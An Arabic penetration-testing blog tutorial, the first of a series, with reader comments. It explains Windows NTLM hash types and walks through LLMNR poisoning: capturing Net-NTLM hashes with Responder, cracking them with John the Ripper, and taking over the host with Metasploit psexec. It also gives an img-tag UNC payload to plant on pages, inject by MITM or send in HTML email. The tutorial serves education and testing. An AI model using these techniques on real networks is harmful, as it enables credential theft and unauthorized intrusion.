أدوات وبرامجأمن وحماية الشبكاتمواضيع ومقالات

أختراق كل نظام ويندوز علي الشبكه – الجزء الأول (LLMNR poisoning)

السلام عليكم ورحمه الله أعزائي القراء وأعتذر علي الغيبه الطويله ولكن بأذن الله عودا حميد.

هدف هذه السلسله هو التوضيح لك مدي سهوله أختراق أنظمه الويندوز أذا كان الجهاز الهدف معك علي نفس الشبكه وسنعتمد في شروحاتنا هذه علي بعض التكنيكات المتقدمه والغير متقدمه للتلاعب بـالـProtocols الخاصه بالتواصل بين انظمه الويندوز وبعضها داخل الشبكه والذي من المفترض أنك كـمختبر أختراق محترف علي علم ببعضها لكن أعدك أن في هذه السلسله ستتفاجئ ببعض المعلومات التي لم تكن تعلمها 😀 .

 سنبدأ في هذا المقال بشرح وتطبيق هجوم الـLLMNR poisoning للحصول علي باسورد المستخدم ومن ثم أختراقه ولكن قبل أن نبدأ يجب وضع النقط علي الحروف كما يقال حتي أتأكد بأنك ستكون علي علم بكافه المصطلحات التي ستقال في هذا المقال.

 ماذا تعني المصطلحات LM ,Net-NTLMv1/v2,NTLM ؟

LM

هو نوع من أنواع الهاش وهو أقدم وأول نوع بدأ أستخدامه في أنظمه الويندوز لتخزين الكلمات السريه وتم أيقافه (لكنه مازال موجود) مع صدور Windows Vista بسبب ضعفه وسهوله كسره ولكن كما لاحظت أنت الأن ستجده علي أصدارات ويندوز XP وهذه نقطه سنعود لها لكن ليس الأن.

NTHash أو NTLM

هو نوع الهاش الذي يستخدم علي أصدارات الويندوز الحاليه لتخزين الكلمات السريه وتستطيع أن تستخرجه من ملف الـSAM أو بأستخدام أداه Mimikatz ويطلق عليه في الغالب NTLM فقط وهو مايسبب أختلاط المسميات دوما بينه وبين بروتوكول الـNTLM ولذلك يفضل تسميته بالـNTHash وهذا هو ما يبدو عليه :

b4b9b02e6f09a9bd760f388b67351e2b

وللعلم الخوارزمية المستخدم لتكوينه هو

MD4(UTF-16-LE(password))

Net-NTLMv1/v2 أو NTLMv1/v2

هو البروتوكول المسئول بنفسه 😀 وهو يعمل عن طريق أنه يأخذ هاش الـNTHash ويستخدمه في أنشاء أتصال عن طريق خوارزمية challenge/response بين الطرفين والذي هو يكون كالأتي (بفرض أن الطرف الأول يود تسجيل الدخول للطرف التاني) :

الطرف الثاني يرسل سؤال أو تحدي للطرف الأول عباره عن رساله عشوائيه والمفترض أن يشفره بأستخدام الـNTHash الخاص به فيقوم الطرف الأول بتشفير التحدي وأرساله مع الـNTHash الخاص به فيكون الرد علي الشكل الأتي :

u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c

الأن يقوم السيرفر أو الطرف الثاني بفك التشفير بأستخدام هاش كلمه السر او الـNTHash الخاص بالطرف الأول والذي أرسله له في الرد واذا كان الناتج بعد فك التشفير هو التحدي الذي ارسله له في البدايه فا يقوم بالسماح له بالأتصال وهذه صوره للتوضيح :

الفرق بين NTLMv1 و NTLMv2

بروتوكول NTLMv2 هو تحديث NTLMv1 وهو الذي سبق شرحه ويستخدم بشكل أفتراضي في أصدارات الويندوز بدايه من أصدار 2000 وهو يعمل بنفس مبدأ وطريقه NTLMv1 كما شرحنا لكن الفرق في أن التشفير أقوي والرد مختلف فشكل الرد يكون :

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

والفرق بين طريقه التشفير في كل واحد من باب العلم بالشئ هو

NTLMv1

C = 8-byte server challenge, random
K1 | K2 | K3 = LM/NT-hash | 5-bytes-0
response = DES(K1,C) | DES(K2,C) | DES(K3,C)

NTLMv2

SC = 8-byte server challenge, random
CC = 8-byte client challenge, random
CC* = (X, time, CC2, domain name)
v2-Hash = HMAC-MD5(NT-Hash, user name, domain name)
LMv2 = HMAC-MD5(v2-Hash, SC, CC)
NTv2 = HMAC-MD5(v2-Hash, SC, CC*)
response = LMv2 | CC | NTv2 | CC*

والأن مقارنه بين هاشات الـNTLM أو الـNTHash والـNet-NTLM من السابق شرحه ولكن هذه المره من الناحيه الأمنيه التي تهمنا كمختبرين أختراق

  • الـNTLM Hash تستطيع أستخدامها في هجمات Pass-the-hash ولكن الـNet-NTLM hashes لا تستطيع أستخدامها فيها
  • الأثنين تستطيع أن تنفذ عليهم هجمات الـBruteForcing و الـDictionary attacks لتأتي بكلمه السر ولكن…
  • بدايه من ويندوز 8.1 لا تستطيع أن تأتي بكلمه السر من هاش الـNTLM بأستخدام أداه Mimikatz ولكن تستطيع بنفس الأداه من خلال ذاكره الجهاز أن تأتي بالهاش ثم تنفذ هجوم Pass-the-hash
  • مع أنك لا تستطيع أن تستخدم الـNet-NTLM hash في هجوم Pass-the-hash ولكنك تستطيع أن تستخدمه في هجوم الـsmb relay وتخترق الأجهزه الأخري الموجوده داخل الشبكه في دقائق وهو الذي لا تستطيع أن تفعله بأستخدام الـNTHash وسوف نتناول هذا الهجوم وشرحه والتطبيق بالتفصيل في المقال القادم 😀

(ملحوظه : كل الهاشات التي ذكرت بالأعلي هي من صفحه الأمثله علي موقع hashcat واذا أردت فهم طريقه عمل الـNTLM بالتفصيل أكثر فصفحه wikipedia قامت بشرح أكثر من رائع لها )

والأن ماهو برتوكول الـLLMNR ؟

هو أختصار لـLink-Local Multicast Name Resolution وهو عمله يتلخص في عده أشياء أهمها عمل name resolution للأجهزه داخل الشبكه عندما لا يعلم الـDNS Server الأجابه وشكل الـPacket مبني علي شكل باكت الـDNS Query ،أعلم أعلم أنك لم تفهم شئ فلنبسط الأمور قليلا 😀

مثال عندما تكتب عنوان هوست محدد داخل الشبكه يقوم المتصفح بسؤال الـDNS server الموجود في أعدادات الجهاز عن الـIP الخاص به فعندما لا يعلم الأجابه فهنا يأتي دور الـLLMNR Protocol فيقوم بعمل Multicast أو بث لكل الأجهزه التي علي الشبكه يسألهم فيها هل يعرف احد هذا الجهاز فيجيب عليه أحد الأجهزه علي الشبكه ويقول هو فلان أو يجيب الهوست نفسه أذا كان علي نفس الشبكه ويقول هذا أنا!

حتي الأن لا يوجد مشكله صحيح ؟ لكن من الناحيه الأمنيه ؟ *أيموجي ضحكه شريره*

أستغلال الـLLMNR لصالحنا

وليكن السيناريو كالتالي لكي يتضح الأمر أن لم تتخيله بعد :

  1. الهدف يحاول الدخول علي الطابعه التي بداخل الشبكه والتي الهوست نيم الخاص بها لنفرض printer اذا المفترض انه سيقوم بكتابه //printer
  2. الهدف يقع في خطأ أملائي وهي يكتب فيقول له الـDNS Server أنه لا يعرف هذا الهوست
  3. يقوم جهاز الهدف الأن بعمل Multicast يسأل الأجهزه التي بالشبكه هل يعرف أحد هذا الهوست
  4. يقوم المهاجم بالأجابه عليه فيقول نعم هذا أنا ! والأن اذا تريد الأتصال بي قم بتشفير هذا التحدي بهاش كلمه السر الخاصه بيك (كما شرحنا)
  5. يقوم جهاز الهدف بالرد بالـNet-NTLM hash (والذي هو الرد كما شرحنا من قبل)
  6. يقوم المهاجم بحفظ الهاش ثم يقطع الأتصال 😀

هذا هو مايسمي بهجوم الـLLMNR Poisoning والأن كيف نقوم به ؟

هناك العديد من الأدوات التي تمكنا من تنفيذه وحتي أنه يوجد موديولز خاصه به علي فريم ورك Metasploit  (auxiliary/spoof/llmnr/llmnr_response) ولكننا سنستخدم أداه Responder بسبب قوتها وسهوله أستخدامها ولأننا بشكل أو بأخر سنحتاجها في المقالات القادمه

تستطيع أن تحملها من هنا وتثبتها بالطريقه التقليديه أن لم تكن لديك من الأساس والأن نقوم بتعديل ملف  Responder.conf لنوقف الـHTTP Server بضبط المتغير لـOff بدل On حتي نضمن أنه لن يحصل تداخل ونحصل علي الهاش بسبب شئ أخر 😉 (سنوضحه بعد قليل) وستجد هذا الملف بداخل المسار

/etc/responder/Responder.conf

فيكون شكل بدايه الملف كالتالي :

الأن سنقوم بتشغيل الأداه عن طريق الأمر :

responder -I wlan0 -wv

وتستبدل wlan0 بالـinterface التي أنت والهدف عليها والأن لنلعب 😀

الهدف هذه المره هو ويندوز 7

كما تري هذا ويندوز 7 الهدف والأداه تعمل بالخلفيه.

الأن كل المطلوب هو الأنتظار حتي يحاول الجهاز الهدف الدخول علي جهاز أخر داخل الشبكه غير موجود أو أي شئ مثل هذا

ولمحاكاه هذا سأكتب أي أسم جهاز عشوائي للدخول عليه وتستطيع عمل هذا بكتابه \\ ومن ثم أسم عشوائي سواء داخل الـexplorer الخاص بالملفات أو حتي داخل متصفح الـInternet Explorer وأنا عن نفسي سأكتبه داخل Run ومن ثم ستجد أداه Responder تخبرك بأن الجهاز الهدف يعمل Multicast وتأتي بالهاش كما شرحنا فيكون الأمر بالشكل الأتي

كما تري في جهاز الهدف ظهر خطأ أما نحن لدينا الأن كل مانريده 😀

أداه responder تقوم بعمل ملف لكل جهاز تلتقط منه شئ وتحفظ فيه المعلومات المهمه وهي الملفات ستجدها داخل المسار

/usr/share/responder/logs

فنقوم بعرض الملف فنجد الهاشات كالأتي

الأن سنقوم بعمل crack للهاش لنأتي بكلمه السر وسنستخدم أداه John The Ripper لهذا كالأتي

كما نري كلمه السر هي 1234567890 واليوزر اذا لم تلاحظ من قبل هو win7lab والأن نستطيع أن نستخدم موديول psexec من فريم ورك metasploit لأختراق الجهاز ومع أنه أمر سهل بعد الأتيان بكلمه السر ولكن سأوضحه هذه المره لمن لا يعلمون.

نفتح الميتاسبوليت ونكتب الأوامر المعتاده ولكن بما أن صوره أفضل من ألف كلمه فهذا ما ستفعله

لا ، لن أقول “تم أختراق الهدف بنجاح” 😀

الأن كما تري الطريقه سهله ولا تحتاج أن تتواصل مع المستخدم بأي طريقه لكن المشكله الوحيده أنك ستضطر أن تنتظر المستخدم أن يخطأ في كتابه أي Host Name هو يدخل عليه والذي ليس يحدث كثيرا في الشبكات العاديه والمستخدمين العاديين لكن بداخل شبكه شركه أو داخل سايبر/مقهي/كافيه أو أي مكان المستخدمين يشاركون فيه الملفات بينهم وبين بعض ستري هذا يحدث.

ولكن أن كنت في شبكه عاديه في الغالب هذه الطريقه لن تكون ذات جدوي في بهذا الشكل ،أذا هي تحتاج بعض التطوير 😀

هذا التطوير يرجع لتفكيرك خارج الصندوق كما يقال فكلما كانت أبداعيه أكثر خرجت بطرق أكثر والأن سأقول لك أن تطويرات للهجوم حتي لا تنتظر المستخدم يخطأ.

كما تري الفكره كلها في الـAuthenticate لذلك نحن نحتاج أن يجعل المستخدم يتصل بنا تلقائيا فعلي سبيل المثال تستطيع أن تنشئ صفحه html وتضع بها تاج img الخاص بالصور وتضع السورس هو صوره من علي جهازك سواء كانت موجوده أو لا ،أي جهاز سيفتح هذه الصفحه سيتصل بجهازك(في أكثر الحالات) .

<img src="\\ip\image.jpg">

تطبيق عملي سريع 😀

كما تري الأمر أصبح أسهل ولكن هنا تحولت الي مشكله أنك تحتاج أن تجعل المستخدم يفتح الصفحه فأصبحت تحتاج الأن الي تدخل من المستخدم لكن أذا كنت تري الأمر هكذا فأنت لم تفهم الفكره بعد :3

أستخدم سكربت LANs.py أو أداه Bettercap أو أي اداه تتيح لك بتنفيذ هجوم MITM وحقن أكواد HTML داخل الـTraffic الخاصه بالهدف فنقوم فحقن تاج الـimg فنحصل علي نفس النتيجه بدون أي تدخل من المستخدم مجرد أنه يتصفح فقط ! 😀

الأن كل هذا كما تري داخل الشبكه فهل توجد طريقه أحصل بها علي الـNTLM hashes من خارج الشبكه ؟ 😀

نعم هناك والعديد من الشركات والخبراء الأمنين حذروا من الهجمات المماثله لكن هذا سيكون موضوع مقاله أخري في هذه السلسله سنتكلم فيها عن العديد من الخدع التي نستطيع عمل هذا بها ولكن حتي وقتها هل تعلم أن كتابه رساله email بالـ html ووضع فيها تاج img السابق ذكره فعند فتح هذه الرساله من تطبيق الـOutlook ان الجهاز سيتصل بك كما حصل منذ قليل وتستلم أنت الهاش 😀 ؟ ولكن كتابه رساله html ليس سهل الأن فقليل من الخدمات أصبح يسمح لك بهذا ولكن هذا ليس موضوعنا الأن لنترك الحديث فيه وشرحه للمقاله الخاصه به 😀

والأن…

كنت أريد أن أشرح في هذا المقال أيضا كيف أن مجرد فتحك لمتصفح Internet Explorer يتسبب في أختراقك بدون فعل أو فتح أي صفحه لكن بما أن المقال أصبح طويلا كما ومعلوماتيا فنتركه للمقال القادم حيث أنه لا أستطيع أن أمر علي الأمر سريعا.

أتمني أن تكونوا أستفدتم من المقال وأراكم في المقالات القادمه وأعدكم أن ماقيل في هذه المقاله لا يقارن بما سيقال في باقي السلسله فهذه كانت مجرد مقدمه لازال هناك العديد من البرتوكولات وأستغلالها أجمل بكثير 😀

Karim Shoair

كريم, عمري 21 سنه, هاكر أخلاقي ومطور أجيد العديد من اللغات وأكثرهم أستخداما هى البايثون ومهتم بالعديد من المجالات المتعلقه بالحمايه وعلوم الكومبيوتر بشكل عام. لي العديد من الأدوات المعروفه مثل Dr0p1t ,QRLJacker ,Cr3dOv3r , One-Lin3r و PasteJacker فأنا أحب برمجه أدوات أختبار الأختراق وأكتشاف الثغرات الأمنيه بشكل عام وما الى ذلك.

مقالات ذات صلة

‫32 تعليقات

  1. تسلم اخي كريم ع هذا المجهود ولكن لم لا تقوم بعمل فديو لكي يكون الموضوع عملي اجثر وشكرااااااا

  2. شكرا لك على المقال الرائع
    ولكن هل يمكن استخام هذه الطريقه على الوينىوز 10 ام ان الشرح محصور فقط على الوينىوز 7 بما انه يمكن الاتيان بكلمه السر من هاش الـNTLM

    1. نعم يمكن أن تطبق علي ويندوز 10 فا بروتوكول الـNTLM يستخدم تقريبا في كل عمليات الأتصال بين أجهزه الويندوز وبعضها وفك هاش الـNTLM يعتمد علي قوه كلمه السر

    1. للأسف ضيق الوقت هذه الأيام لا يساعد علي عمل فيديو ولكن سيكون هناك فيديوهات في بعض الشروحات القادمه بأذن الله وبالنسبه لطريقه الأختراق عبر الصفحه سيتم تناولها بالتفصيل أكثر بأذن الله في الأجزاء القادمه من السلسله

  3. اتمنى من الخبراء الاجابه على الاسئله التي طرحت من قبل متابعي الموضوع ولدي ايضا اسئله وهي :
    – هل تنفع هذه الطريقه لاختراق مافوق وندوز 7 ؟
    ثانيا نستطيع الحصول على الهاش عبر الصفحه التي تحوي تاج الـimg ولكن فقط عبر متصفح انترنت اكسبلورر فقط وتمت التجربه على قوقل كروم وفايرفوكس ولم تعمل الطريقه هل من حل لجعلها تعمل مع كل المتصفحات ؟
    مع شكري لكم

    1. – نعم تعمل فا بروتوكول الـNTLM يستخدم تقريبا في كل عمليات الأتصال بين أجهزه الويندوز وبعضها مع أختلاف أصدار الويندوز

      – نعم معظم المتصفحات الان أصبحت تحمي نفسها منها والعيب في طريقه عمل الـInternet explorer داخليا وسيكون هناك العديد من الأجزاء القادمه في هذه السلسله نتحدث بها عن عيوب هذا المتصفح وكيف تستخدم لمصلحتنا وقد تعمل ايضا علي متصفح Edge فطريقه عمله مقاربه للـInternet explorer

  4. لاحظت استخدام اداه john لكسر الهاش وايجاد الباسوورد
    هل نحن بحاجه لباسوورد لست اما ان الاداه مباشره تأتي بكلمه السر حتى لو كانت معقده مثلا test12SDe4Q54

    1. لا يا أخي لقد أستخدمت أداه john لأن كلمه السر سهله حيث أنني أعرفها مسبقا بالطبع ولكن في حالات أخري نستخدم أدوات أقوي مثل أداه HashCat مع المود 5600 تقريبا.

  5. حقيقتا، ما توقعت الوضع خطير الى هذه الدرجة، شكرا على عملك الرائع حقيقتا كل التسألات التي تخطر في البال أجبت عنها في الموضوع و المتعلق به.
    برضو انت كاتب رائع طريقة سردك جميلة جدا تخلي الواحد يستمر بالقراءة. بتوفيق لك صديقي.

  6. مشكور طبعا على المجهود الكبير ده .. بس انا عندى مشكلتين
    الاولى ان الجهاز المستهدف مش عامل باسورد للنظام اصلا ! فا انا بتخطى امر set smbpass وكبعملهوش اصلا تمام كده ؟؟
    تانى مشكله لما بعمل exploit بيظهرلى الايرور ده ..
    [*] Started HTTPS reverse handler on https://192.168.1.5:8443
    [*] 192.168.1.4:445 – Connecting to the server…
    [-] 192.168.1.4:445 – Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (192.168.1.4:445).
    [*] Exploit completed, but no session was created.

  7. موضوع رائع لدي عدة تساؤلات و اهتمام كبير بمجال الاختراق و الثغرات الامنية و لقد استفدت كثيرا من هذا الشرح
    و كما قال الأخ smsm هل لديك ايمايل للتواصل اود طرح بعض الاسئلة

  8. اول شي مشكور جداً ..
    بس لما نزل الأداه ما بلاقي فيا ملف تنصيب ( exe) وحتى المستعرض بيحذرني من اكمال التحميل . وبعد اكمال التحميل ما بلاقي ملف التنصيب
    وشكراً مرة تانية

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى